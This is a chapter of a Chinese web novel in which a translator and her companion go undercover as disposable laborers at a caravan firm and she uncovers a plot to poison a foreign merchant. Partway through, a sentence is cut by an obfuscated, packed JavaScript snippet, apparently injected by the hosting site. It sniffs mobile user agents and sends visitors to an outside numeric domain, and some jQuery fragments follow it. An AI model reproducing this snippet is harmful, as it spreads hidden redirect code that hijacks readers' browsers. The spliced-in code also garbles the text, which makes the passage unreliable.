9. 第 9 章
作品:《金牌翻译再就业》 她话落的那刻,仿佛一颗石子入湖,激起涟漪徜徉,四时百刻的异样纷纷涌现。
路过的糖葫芦挑夫,眼睛一直黏在他们身后,酒楼二楼的窗户,纱幔重重之下似有人影显动,提着花篮的小童,偏偏寻了他们缠打。
云紫怡蹲下身子,将身上唯一一个绣花的香囊取下,“小朋友,姐姐身上实在是没有银两了,要不这样,姐姐拿这个香囊跟你换,如何?”
那小童将香囊拿在手中瞧了片刻,见只是普通的粗布药草,沾泥的小手一使劲儿,香囊咕噜噜滚在地上,“穷鬼!”
云紫怡捂着被他撞痛的肩膀,向王慈投去一个制止的眼神,“走吧。”
城东是一片荒屋群,断壁残垣,屋顶的茅草稀稀拉拉,大门缺了一个大口子,床板是潮湿生霉的,水缸是青苔丛满的。
王慈皱了皱眉,一时间不知道该如何下脚。
云紫怡看着他的样子,不觉有些好笑,到底是锦绣堆里长的富家公子,虽说在稽察司吃了不少苦,但何谈生活在这样的环境里过?
她刚想动手“帮帮”他,却见那人丝毫不在意般,将手伸进有些混浊的水里,将指缝间的墨渍洗净,随后还拿起旁边有些发黑发硬的布巾擦了擦。
见她视线一直停在自己身上,王慈转头,脸上露出微微不解的神情,还顺手指了指一旁的水缸。
云紫怡失笑,摇了摇头,上前拽着他的袖子,领着他进了最中间的那一间屋。
大门微敞,她在里面走来走去,“匆忙”地收拾包袱,最后高声喊了一句“兄长”,让王慈帮她去里面搬坛子取些药草。
王慈跟着她,绕到一一人高的柜子后,看她掀开几块地砖,露出一个向下的通道。
“地窖。”她言简意赅。
“东头的这些荒屋,最早是一家富户,后来不知怎的叫匪贼灭了门,这屋院一直无人敢住,就渐渐荒废了,住进来一些流浪乞儿。”
“尤大郎和尤二娘既逃难至此,住在这里最合适。”
云紫怡又往里面走了走,把周围的杂物稍加清理,确保能畅通无阻看到出入口的情况。
她一把将王慈扯近,二人肩膀相贴,呼吸相闻。
“王慈,这次好像有点麻烦。”她附耳,认真道,“可能会有去无回的那种。”
……
须臾,他们从地窖出来,王慈脸色有点难看,脑海中不断浮现她刚刚说的话:
“我们运气不太好,但也怪我,我早应该想到的。”云紫怡叹了一口气,“我们遇到招‘生人’的了。”
“何谓……‘生人’?”
“说是叫‘生人’,其实早些时候叫‘断人’,断人断了命,雇家生了财。后来觉得这名字不好听,就改做’生人’。”
“在这些贩买行走的行当里,经常过一些见不得人的东西,需要人手上工,但又要这些人不去泄密,所以就会招些‘生人’,选那些孤身一人的贫寒者,等路上遇着些‘意外’,也不会有人来寻。”
王慈脸色越来越凝重,没想到现在的琉镇看似安然,实则暗中不知多少污垢。
云紫怡解释道,“其实府衙一直有在管理‘生人’一事,只是这些多发于暗处,寻到证据极为不易,若此案了结,稽察司能有余力监管一番,也算是助府衙一臂之力了。”
她顿了顿,后又补充道,“抱歉,方才突然给你安了个哑疾的身份,只是我想来都来了,干脆一不做二不休,将你送到‘生人’最顶端的位子,想着以你的本事,应当能多拿些情报。”
王慈忽然懂了,为何当初又要说他哑巴,又要说他不识字。不论看到什么都无法传达给他人,这可不就是天选“生人”嘛!
眼看就要踏出荒屋,不怀好意的视线已经在门口等候多时,走在前面的云紫怡忽然回身,猛地靠近,虚抱了一下身后之人。
王慈未有预设,不由得浑身一僵,半晌才回过神来,将右手虚搭于她肩上。
松风入巷,卷积落叶飞扬,檐上一滴水落入青苔满池,涟漪微荡。
怀中之人在耳边轻轻落了一句话,“你要是不将我平安带出来,我定是要去跟梅英姐姐告状的!”
说罢她立马起身,复又牵住了他的袖子,“阿兄,我们很快就要有银子了,我们很快就能住大房子,吃饱饭了,我们一定要好好干!”
王慈点点头,眸中染了几分笑意。
他随意比划几下,二人转身,又踏入波谲云诡之中。
……
“都快些!手脚麻利点!”
“那个,那个,还有那边那个,全都搬出去,动作要轻,要是摔坏了,十个你们也赔不起!”
监工一边盯着几人,一边絮絮叨叨,生怕出了什么差池。
自打进了车马行,算算有三四天了,没一日闲时,王慈整日被带出去搬东西,她则留在后厨做饭,空了干些浆洗的活儿,临了还有两个人搬货伤了胳膊,还要她给医了一番,云紫怡感觉自己活生生变成了一个管家婆。
行里人多眼杂,王慈又有“哑疾”,这些天他们硬生生一句话也没说过。
但又不能真的一点也不交流,后来她寻了个法儿,只能靠着传递东西之时,或是围坐用饭之时,偷偷摸摸在对方掌心或手臂写字儿。
几日下来,云紫怡感觉指尖都要写出茧子了。
也正如她猜测的那样,他们这些人既被选作“生人”,自打入工以来,便再也没被放出去过,和外界几乎是零交流,就算外出搬货,也有人在一旁看管着。
她忍了一日又一日,这些人似乎是在规训他们的服从性,等到他们这些人养成了不乱看不乱说的习惯,熟悉一切理货流程,期间还淘汰了几个人,终于有一天清晨,老五进来宣布今日不用上工,休息一日,然后点了王慈云紫怡还有几人出门。
二人对视一眼,时机已到!
傍晚,华灯初上。
福满楼还是一如既往得热闹。
老五领着他们走了后门,避开了人流,吩咐他们在二楼一间狭窄的货房等候,自己则转身离开,将房门上了锁。
一行加上云紫怡和王慈一共七人,五个“生人”,两个监看。
两位监看在靠近屋门的位子,背靠屋门,面对其余五人。王慈在五人最前,单独成一排,剩下四人两两一排,跟在他后面。
紧闭的屋门吱呀一声,闪开一道缝,来人耳语几句,门口的监看出声,“尤二娘,随他去看药。”
老五先前道,此次还有几箱药材被一并买入,需要她去随行查验。
“来了!”她应下,匆匆从队尾上前,掠过屋内所有人出门。许是走得急,裙摆翻飞间带起一阵风,细闻之下竟还有股异香。
门口的一位监看鼻子微动,但须臾间香气便消失得无影无踪,那人只当是福满楼熙熙攘攘衣香鬓影,不知哪阵风吹错了,吹到他这儿来罢了。
云紫怡跟在领路那人后面,故意放慢了脚步。
谁知那人并非将她领向货房,竟然转身向了楼梯,上了四楼,来到一间装饰华贵的厢房门口。
她暗自皱眉,但只能顺着他们去推厢房的门。门即将敞开的前一刻,她将最后一点月胡迷魂香洒了出去。
一进厢房,里面的酒气扑面而来,一位眼生的大齐人,车马行主人图特,以及一位东真模样的商人,分坐在方桌两侧。
见她进来,图特哈哈一笑,招呼她坐在东真商人一侧,“我的贵客,这是我手下的一位药娘子,精通琉镇特色的药酒,您今日想不想,一饱口福?”
说着,她面前被摆上一个药盘,与一壶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15475286|169948||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酒。
原本的计划是,她与王慈在货房汇合,拿到珍珠藏盐的证据,再想办法潜出去。如今图特竟另有别的安排,人多眼杂,她不好反抗,只得顺水推舟,正好也看看对方到底葫芦里卖的什么药。
盘中倒是常见的药材,简单的药酒她也做过几次,并不难,云紫怡放慢动作,希望这期间能听到他们谈论什么有用的信息。
许是怕她偷听,那几人言语之间,竟然用的都是东真话。
云紫怡松了一口气,不怕他们说东真话,就怕他们不说话。
她手中一套动作行云流水,一边支着耳朵偷听。
“听闻明日起风沙,不耽误出行吧。”
“不会,您放心,三十箱,保证一箱不少。”
“我多嘴一句,您夫人的事,解决了吗?我来之前上头发话了,叫您自己掂量着办吧。”
“您自己动手,还是等着那位动手,这应该不用选吧。”
“……今晚,最后一晚。”
她执酒壶的手一抖,几滴酒液洒落,滴在了鲜嫩的东真润叶上。
不易察觉的一声“滋啦滋啦”,落酒之处瞬间被灼黑,原本翠绿的东真润叶瞬间失去了生机。
云紫怡瞳孔骤缩。
东真润叶深受东真人喜爱,被称为最纯净的药草,味甘,带着些许清香之气,通常取其根茎,榨取几滴汁液放入酒茶之中,以提气味。
东真润叶之叶,味辛苦,虽不可食用,但却有辨毒之效。
所以,图特是想要借她之手……给那东真商人下毒!
变故突发,一下子打乱了她的心绪。
若她没有察觉,若这杯药酒是由她制作,由她递出去,她不敢再想。
上次的冤情还未洗退,又可能再添一道。
云紫怡脸色实在算不上好看。
她深吸一口气,将那片被灼黑的东真润叶藏到其他药材底下,装作什么都没发生的样子,继续手中的动作。
最后一道工序,她取出一株新的东真润叶,取其茎,榨汁,滴入酒杯中。一气呵成。
云紫怡小心举着托盘,将那杯酒送到东真商人面前,并用左手递给他。
在东真旧俗中,用左手给客人递东西是非常不礼貌的。
她看见那人的眉头几不可察地皱了皱,但没说什么,还是伸手接了过来。
她装作一副怯懦的样子,不敢抬头看面前之人,只是用琉镇当地方言说了一句“请食”。
这句话落,在场所有人脸色微变。
那东真商人这次没有顾及他人,直接将杯口向下,顷刻间杯中酒一滴不剩,全倒在了地上。
云紫怡一副茫然但受了惊吓的样子,慌忙俯身赔罪,随即回到药盘前想要再做一杯,但惊慌失措间不慎将酒壶打翻在地。
顶着图特阴沉的目光,她被赶出了厢房。
在琉镇方言中,“请食”的发音,与在东真旧俗中,在祭奠时敬酒所说的话,发音基本相似。
因此,平日在带队东真人时,如有需要,她们一般会避免用“请食”,而是用“请用”,或是“请饮”。
但,金牌向导知道这个避讳,出身贫寒的药娘子,可就不一定知道了。
进门之前,门口的守卫被她用了最后一点迷魂香,现在睡得正酣畅。她小心翼翼绕过几人,正思索是走前面的大楼梯,还是绕后面的小楼梯,忽地,一双手从旁边厢房伸出来,将她扯进黑暗中。
她来不及多想,立刻开始拼命挣扎,可对方好似生了什么钢筋铁骨,任她怎么锤怎么踢,都撼动不了分毫。
捂住她嘴的那只手,掌心宽厚,手指修长,云紫怡感觉若使劲张开,估计能将她整张脸蒙了去。
无奈之下,她张口,直接冲着那人的掌心就是一咬。